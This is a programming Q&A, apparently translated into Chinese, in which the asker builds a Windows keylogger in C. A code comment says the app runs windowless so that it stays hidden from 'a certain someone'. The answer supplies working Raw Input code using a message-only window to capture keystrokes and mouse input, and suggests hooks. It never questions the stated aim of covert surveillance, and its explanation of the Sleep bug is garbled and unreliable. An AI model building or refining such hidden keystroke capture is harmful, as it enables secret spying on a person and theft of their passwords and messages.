为什么 Sleep() 函数会阻止整个循环工作?

Why does the Sleep() function prevent the entire loop from working?

目标是创建一个记录击键并将其写入文本文件的程序。目前,只需敲击一个键就会写入该键一百次,所以我试着放慢一点。

但是,使用 Sleep() 将阻止整个代码执行任何操作,除非我使用 Sleep(0)(据我了解,这意味着“不要让优先级较低的线程 运行").

代码:

// Subconsole is Windows so the running app is not visible to a certain someone
int __stdcall WinMain(_In_ HINSTANCE hinstance, _In_opt_ HINSTANCE hprevinstance, _In_ LPSTR lpcmdline, _In_ int ncmdshow)
{   
    FILE* write;
    char running = 1;
    fopen_s(&write, "typelog.txt", "w");

    while (running)
    {
        _Bool keytoggle;
        char key;

        // Go from A to Z and see if the key for that was pressed
        for (int i = 0x41; i < 0x5A; i++)
        {
            // Is the highest order bit for GetAsyncKeyState a 1 (is the key down)
            keytoggle = (GetAsyncKeyState(i) & (1 << 15)) != 0;

            if (keytoggle)
            {
                key = i;    // save the key that was pressed
                break;
            }
        }


        // If the key was pressed, write it, otherwise write a space

        if (keytoggle)
        {
            if (write)
                fprintf(write, "%c", key);
        }

        else
        {
            if (write)
                fprintf(write, " ");
        }


        // Sleep for like, just one millisecond please

        Sleep(1);
    }


    return 0;
}

我听说使用Sleep,即使是1ms,由于系统定时器的缘故也可以延长到20ms。是这样吗?就算是,为什么代码根本不执行?

我搜索了一个小时左右,但一无所获。如果你能帮忙就太好了。

通过调试,问题是您的 txt 句柄在调用 Sleep(1) 关闭。您可以使用 Message-Only Windows and Raw Input 来实现您的目标。例如:

BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
{
   hInst = hInstance; // Store instance handle in our global variable

   HWND hWnd = CreateWindow(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
      CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, HWND_MESSAGE, nullptr, hInstance, nullptr);

   if (!hWnd)
   {
      return FALSE;
   }

   ShowWindow(hWnd, nCmdShow);
   UpdateWindow(hWnd);
   RawInput(hWnd);
   return TRUE;
}

#define BUFFER 512
HRESULT ShowRawInputInfo(LPARAM lParam)
{
    UINT dwSize = 0;
    HRESULT hResult;

    GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
    LPBYTE lpb = new BYTE[dwSize];
    if (lpb == NULL)
    {
        return 0;
    }

    if (GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
        OutputDebugString(TEXT("GetRawInputData does not return correct size !\n"));

    RAWINPUT* raw = (RAWINPUT*)lpb;
    WCHAR szTempOutput[BUFFER];
    if (raw->header.dwType == RIM_TYPEKEYBOARD)
    {
        hResult = StringCchPrintf(szTempOutput, BUFFER,
            TEXT(" Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n"),
            raw->data.keyboard.MakeCode,
            raw->data.keyboard.Flags,
            raw->data.keyboard.Reserved,
            raw->data.keyboard.ExtraInformation,
            raw->data.keyboard.Message,
            raw->data.keyboard.VKey);
        if (FAILED(hResult))
        {
            // TODO: write error handler
        }
        OutputDebugString(szTempOutput);
    }
    else if (raw->header.dwType == RIM_TYPEMOUSE)
    {
        hResult = StringCchPrintf(szTempOutput, BUFFER,
            TEXT("Mouse: usFlags=%04x ulButtons=%04x usButtonFlags=%04x usButtonData=%04x ulRawButtons=%04x lLastX=%04x lLastY=%04x ulExtraInformation=%04x\r\n"),
            raw->data.mouse.usFlags,
            raw->data.mouse.ulButtons,
            raw->data.mouse.usButtonFlags,
            raw->data.mouse.usButtonData,
            raw->data.mouse.ulRawButtons,
            raw->data.mouse.lLastX,
            raw->data.mouse.lLastY,
            raw->data.mouse.ulExtraInformation);

        if (FAILED(hResult))
        {
            // TODO: write error handler
        }
        OutputDebugString(szTempOutput);
    }

    delete[] lpb;
    return 0;
}
//
//  FUNCTION: WndProc(HWND, UINT, WPARAM, LPARAM)
//
//  PURPOSE: Processes messages for the main window.
//
//  WM_COMMAND  - process the application menu
//  WM_PAINT    - Paint the main window
//  WM_DESTROY  - post a quit message and return
//
//
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    DWORD dwStyleOfStaticText = 0;
    HWND hBmp2 = NULL;
    WORD reason = 0;
    switch (message)
    {
    case WM_INPUT:
    {
        ShowRawInputInfo(lParam);
        break;
    }
    case WM_KEYDOWN:
        WCHAR szTempOutput[512];
            StringCchPrintf(szTempOutput, 512,
                TEXT(" KeyValue=%04x\n"), wParam);
        OutputDebugString(szTempOutput);
        //PostMessage(hWnd, WM_COMMAND, KILLTHEWIN, 0);// hope it serializes message
        //PostQuitMessage(0);
        break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}

编辑:或挂钩